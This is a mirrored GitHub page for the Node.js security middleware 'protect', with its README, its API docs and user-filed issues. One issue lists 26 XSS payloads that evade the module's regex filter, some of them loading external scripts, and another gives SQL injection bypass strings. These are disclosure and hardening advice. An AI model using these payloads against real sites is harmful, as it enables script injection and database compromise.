Git Product home page Git Product logo

protect's Introduction

Protect by RisingStack

Build Status Known Vulnerabilities

Works on Node.js v6 and newer.

The purpose of this module is to provide out-of-box, proactive protection for common security problems, like SQL injection attacks, XSS attacks, brute force, etc...

This module is not a silver bullet, and is not a substitute for security-minded engineering work. But it can help you to achieve your goals.

protect by risingstack

Basic usage

npm i @risingstack/protect --save

With Express

const protect = require('@risingstack/protect')
const express = require('express')
const bodyParser = require('body-parser')
const redis = require('redis')

const client = redis.createClient()

const app = express()

app.use(bodyParser.json({
  extended: false
}))

app.use(protect.express.sqlInjection({
  body: true,
  loggerFunction: console.error
}))

app.use(protect.express.xss({
  body: true,
  loggerFunction: console.error
}))

app.use(protect.express.rateLimiter({
  db: client,
  id: (request) => request.connection.remoteAddress
}))

app.get('/', (request, response) => {
  response.send('hello protect!')
})

app.post('/login', protect.express.rateLimiter({
  db: client,
  id: (request) => request.body.email,
  // max 10 tries per 2 minutes
  max: 10,
  duration: 120000
}), (request, response) => {
  response.send('wuut logged in')
})

app.listen(3000)

API

protect.express.sqlInjection([options])

Returns an Express middleware, which checks for SQL injections.

  • options.body: if this options is set (true), the middleware will check for request bodies as well
    • default: false
    • prerequisite: you must have the body-parser module used before adding the protect middleware
  • options.loggerFunction: you can provide a logger function for the middleware to log attacks
    • default: noop

protect.express.xss([options])

Returns an Express middleware, which checks for XSS attacks.

  • options.body: if this options is set (true), the middleware will check for request bodies
    • default: false
    • prerequisite: you must have the body-parser module used before adding the protect middleware
  • options.loggerFunction: you can provide a logger function for the middleware to log attacks
    • default: noop

protect.express.rateLimiter([options])

Returns an Express middleware, which ratelimits

  • options.id: function that returns the id used for ratelimiting - gets the request as its' first parameter
    • required
    • example: (request) => request.connection.remoteAddress
  • options.db: redis connection instance
    • required
  • options.max: max requests within options.duration
    • default: 2500
  • options.max: of limit in milliseconds
    • default: 3600000
  • options.loggerFunction: you can provide a logger function for the middleware to log attacks
    • default: noop

protect.express.headers([options])

The headers object is a reference to the main helmet object exported. For docs on the options object, please refer to the helmet documentation.

Roadmap

Security Recommendations

As mentioned, this module isn't a silver bullet to solve your security issues completely. The following information is provided to hopefully point you in the right direction for solving other security concerns or alternatives that may be useful based on your budget or scale.

Other Aspects

There are plenty of other areas that you should be concerned about when it comes to security, that this module doesn't cover (yet or won't) for various reasons. Here are a few that are worth researching:

Resources

Dedicated WAF

If you have the resources available (budget or hosting environment), a dedicated WAF (Web Application Firewall) can offer a robust solution to various security issues, such as blocking potential attackers and flagging their activity.

protect's People

Contributors

gergelyke avatar misterdai avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

protect's Issues

Vulnerable to XSS attacks

I found multiple XSS Attack vectors that aren't caught by the isXss function:

* XSS regex reference - taken from symantec
* http://www.symantec.com/connect/articles/detection-sql-injection-and-cross-site-scripting-attacks
*/
const xssSimple = new RegExp('((%3C)|<)((%2F)|/)*[a-z0-9%]+((%3E)|>)', 'i')
const xssImgSrc = new RegExp('((%3C)|<)((%69)|i|(%49))((%6D)|m|(%4D))((%67)|g|(%47))[^\n]+((%3E)|>)', 'i')
function isXss (value) {
return xssSimple.test(value) || xssImgSrc.test(value)
}

tl;dr

Don't use regex's for sanitization of HTML but if you are, then at least strip out all tags with something like:

const xssAnyTag = new RegExp('<(|\/|[^\/>][^>]+|\/[^>][^>]+)>')

But with even this, I'd imagine a carefully constructed XSS vector could get around it
I'd advise:

  • Escaping the characters using HTML entities
    e.g.
var entityMap = {
  '&': '&amp;',
  '<': '&lt;',
  '>': '&gt;',
  '"': '&quot;',
  "'": '&#39;',
  '/': '&#x2F;',
  '`': '&#x60;',
  '=': '&#x3D;'
};
escapeHtml = function(value) {
  return String(value).replace(/[&<>"'`=\/]/g, function (s) {
    return entityMap[s];
  });
}
  • Using a nodes text attribute(This isn't an option for server side code)
    e.g.
document.getElementById("my_id").innerText = unsafeString;

As discussed in many posts e.g.

Regular expressions are not a valid approach when dealing with a more complicated language(especially when browsers support dirty HTML)

For example, here are 26 valid XSS attack vectors that are all reported as false

Attack Vectors

<script >alert("XSS - 1");</script >
<script type="application/javascript">alert("XSS - 2");</script >
<script src="https://rawgit.com/cianmce/bc4ede289eba9eb34c5ef499ac3298eb/raw/1d80cdd168bdc4389ed011d41ecca4242ca633e8/xss-alert.js?msg=XSS - 3"></script >
<meta http-equiv="refresh" content="0;URL=https://httpbin.org/get?xss=XSS - 4" />
<input type="image" src onerror="alert('XSS - 5')">
<object data="a.a" onerror="alert('XSS - 6')" />
<object data="a.a" onerror="alert('XSS - 7')">
<link data="a.a" onerror="alert('XSS - 8')">
<input onfocus="console.log('XSS - 9')" autofocus> // Uses console.log as "alert" will cause infinate loop
<video ><source onerror="alert('XSS - 10')" >
<iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;alert('XSS - 11')&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
<iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;alert('XSS - 12')&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;" />
<iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;alert('XSS - 13')&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"></iframe >
<iframe style="display:none;" src="https://rawgit.com/cianmce/774471fbcffd4e31a950fbffa9b9a4d0/raw/7d68ac13ae3cca900ae3cec7cb21cf1f1c36d957/alert.html?msg=XSS - 14"></iframe >
<iframe style="display:none;" src="https://rawgit.com/cianmce/774471fbcffd4e31a950fbffa9b9a4d0/raw/7d68ac13ae3cca900ae3cec7cb21cf1f1c36d957/alert.html?msg=XSS - 15">
<iframe style="display:none;" src="//a.a" onload="alert('XSS - 16');"></iframe >
<div style="opacity: 0; width:100%; height:100%; position:absolute; top:0px; left:0px; z-index:9999" onmousemove="alert('XSS - 17')"></div >
<p style="opacity: 0; width:100%; height:100%; position:absolute; top:0px; left:0px; z-index:9999" onmousemove="alert('XSS - 18')">
<frameset onload="alert('XSS - 19')"><frame onload="Limited support"></frameset >
<a href="javascript:alert('XSS - 20')" style="text-decoration: none; color:#000;" > 
<a onclick="alert('XSS - 21')" style="text-decoration: none; color:#000;" > 
<a onmouseover="alert('XSS - 22')" style="text-decoration: none; color:#000;" > 
<body onunload="alert('XSS - 23')">
<body onresize="alert('XSS - 24');">
<body onload="alert('XSS - 25')">
  <!-- XSS - 26: No JavaScript, but fully hides the page and prevents any clicks -->
<body style="opacity:0; pointer-events: none; filter: alpha(opacity=0);">

Proof Of Concept

These have been tested on the current function, the updated function to test for any tags, being escaped and being set using the text attribute.
The results can be seen here: http://embed.plnkr.co/xHbhB29JWWyMUMeHsLrm

I'm sure there are many other edge cases I haven't thought of yet or that haven't been developed by browsers yet.

If you insist on using regex, here's a good list + just remove any tag
https://github.com/PHPIDS/PHPIDS/blob/master/lib/IDS/default_filter.json

Found error message in function sqlInjection

I use node v4.1.2, I found this error

D:\website\server\ws\node_modules@risingstack\protect\lib\express\index.js:21
function sqlInjection (options = {}) {
^

SyntaxError: Unexpected token =
at exports.runInThisContext (vm.js:53:16)
at Module._compile (module.js:413:25)
at Object.Module._extensions..js (module.js:452:10)
at Module.load (module.js:355:32)
at Function.Module._load (module.js:310:12)
at Module.require (module.js:365:17)
at require (module.js:384:17)
at Object. (D:\website\server\ws\node_modules@rising
stack\protect\lib\index.js:3:17)
at Module._compile (module.js:434:26)
at Object.Module._extensions..js (module.js:452:10)

how to solve this problem? thank a lot

Security Resources (Educate)

Like the idea of this project, would certainly help a lot of developers get started on better footer with security aspects. I think it'd be useful if this module also provided suggestions and resources to encourage better security practises as well. That way a developer can be educated on other areas of security that may not be within the realm of this module, or requires more custom code, as well as suggestions of alternatives (un-biased) that are probably a better idea to use if budgets are available and scale requires.

  • Provide a list of important security aspects that this module doesn't (and won't) cover, with recommendations. Such as: Password hashing (bcrypt, scrypt etc...), session rotation, cookie signing...
  • Possibly recommend investigation of WAFs (Web Applicaiton Firewalls), if budgets allow or hosting provides (AWS for example).
  • Other database injections like nosql based ones. https://zanon.io/posts/nosql-injection-in-mongodb

Not suggesting a huge amount of information, but a few links to useful resources can always help educate any developers using the module :)

rateLimiter doesn't work with multiple instances

I have a scenario where I want to limit a user by two things (for example, I want to limit by token and IP address) but rateLimiter always sets headers on the response and these interfere with each other.

There should be an option to turn writing these headers off - I can open a PR if you're interested.

Getting error of: function sqlInjection (options = {}) {...

function sqlInjection (options = {}) {
                               ^

SyntaxError: Unexpected token =
    at exports.runInThisContext (vm.js:53:16)
    at Module._compile (module.js:373:25)
    at Object.Module._extensions..js (module.js:416:10)
    at Module.load (module.js:343:32)
    at Function.Module._load (module.js:300:12)
    at Module.require (module.js:353:17)
    at require (internal/module.js:12:17)
    at Object.<anonymous> (/var/www/sites/xxx/htdocs/_msportal/_js/_node/node_modules/@risingstack/protect/lib/index.js:3:17)

Linux xxxx.net 2.6.32-358.el6.x86_64 #1 SMP Tue Jan 29 11:47:41 EST 2013 x86_64 x86_64 x86_64 GNU/Linux

node: v4.4.2

regards

Sean

How to stop requests that have sql injection in the body

Hi There,
Thanks for the library.

This is more a question than a issue.
How can I stop requests with sql injection in the body of the request.

app.use( protect.express.sqlInjection( {
body: true,
loggerFunction: console.error
} ) )

Above code logs the request, how can I get hold of req,res and next function and stop the next function being called.

Thanks,
Ali

Upgrading Helmet to the next major version

I'm the maintainer of Helmet. I plan to release the next major version this Sunday, 2020-08-22.

Is there anything I can do to help get this module upgraded to helmet@4?

If you'd like to try out the release candidate now, you can install it with npm install helmet@next. If you'd rather discuss things outside of this issue, feel free to reach out to me another way.

Hope I can be helpful!

SQLi Regex Issues

const sql = new RegExp('w*((%27)|(\'))((%6F)|o|(%4F))((%72)|r|(%52))', 'i')
const sqlMeta = new RegExp('(%27)|(\')|(--)|(%23)|(#)', 'i')
const sqlMetaVersion2 = new RegExp('((%3D)|(=))[^\n]*((%27)|(\')|(--)|(%3B)|(;))', 'i')
const sqlUnion = new RegExp('((%27)|(\'))union', 'i')
  1. The "sql" regex is looking for the literal char "w" zero or more times at the beginning. I assume that was intended to be \w?
  2. The "sql" regex is basically looking for 'or trying to match the typical 1'or'1'='1 but this can be bypassed with a simple space between the 1 and the quote: 1' or'1'='1.
  3. The same bypass is possible with 'union simply by adding a space ' union.
  4. The "sqlMeta" blocks anything with a single quote (along with -- and #). This does not seem acceptable to me. You can't use contractions like "can't", names like o'malley.. or any app that has anything to do with code.
  5. The sqlMeta actually makes all the other regexes (and therefore bypasses) irrelevant because all of the them expect a single quote. (if a single quote is enough to block checking for 'or and 'union is now redundant).

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.